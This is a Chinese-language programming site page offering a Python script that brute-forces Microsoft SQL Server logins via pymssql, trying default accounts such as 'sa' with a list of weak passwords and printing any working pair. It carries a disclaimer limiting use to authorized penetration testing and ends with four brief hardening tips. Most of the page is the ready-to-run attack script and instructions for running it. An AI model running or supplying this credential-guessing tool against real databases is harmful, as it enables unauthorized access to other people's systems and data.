首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

Python 版 MSSQL 暴力破解腳本(僅供授權滲透測試使用)

     編輯:關於SqlServer

⚠️ 法律聲明:本腳本僅供授權滲透測試、安全教學或自身資產檢測使用。未經授權對他人系統進行密碼嘗試屬違法行為,請遵守當地法律法規。

腳本功能

  • 針對 MSSQL 服務進行帳號密碼暴力嘗試
  • 支援自訂 IP、埠、帳號字典、密碼字典
  • 成功時輸出帳號密碼組合

前置需求

pip install pymssql

完整腳本碼

import pymssql

# 常見弱密碼字典(實務建議載入外部字典檔)
common_weak_password = ('', '123456', 'test', 'root', 'admin', 'user')
# 常見帳號字典
mssql_username = ('sa', 'test', 'admin', 'mssql')

success = False
host = "127.0.0.1"   # 目標資料庫 IP
port = 1433          # MSSQL 預設埠(注意:原文 1443 為筆誤)

for username in mssql_username:
    for password in common_weak_password:
        try:
            conn = pymssql.connect(server=host, port=port, user=username, password=password)
            success = True
            if success:
                print(f"[SUCCESS] Username: {username} | Password: {password}")
                break  # 找到即跳出內層迴圈
        except Exception as e:
            # 可選:記錄錯誤細節 pass
            continue
    if success:
        break  # 找到即跳出外層迴圈

使用方式

  1. 將碼存為 MssqlDatabaseBlasting.py
  2. 修改 host、port、字典內容
  3. 命令列執行:python MssqlDatabaseBlasting.py

防禦建議

  1. 禁用/重命名 sa 帳號,強制使用強複雜度密碼。
  2. 防火牆限制 1433 埠僅允許信任 IP 存取。
  3. 啟用登入失敗鎖定策略與稽核記錄。
  4. 使用 Windows 整合驗證取代 SQL 驗證。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved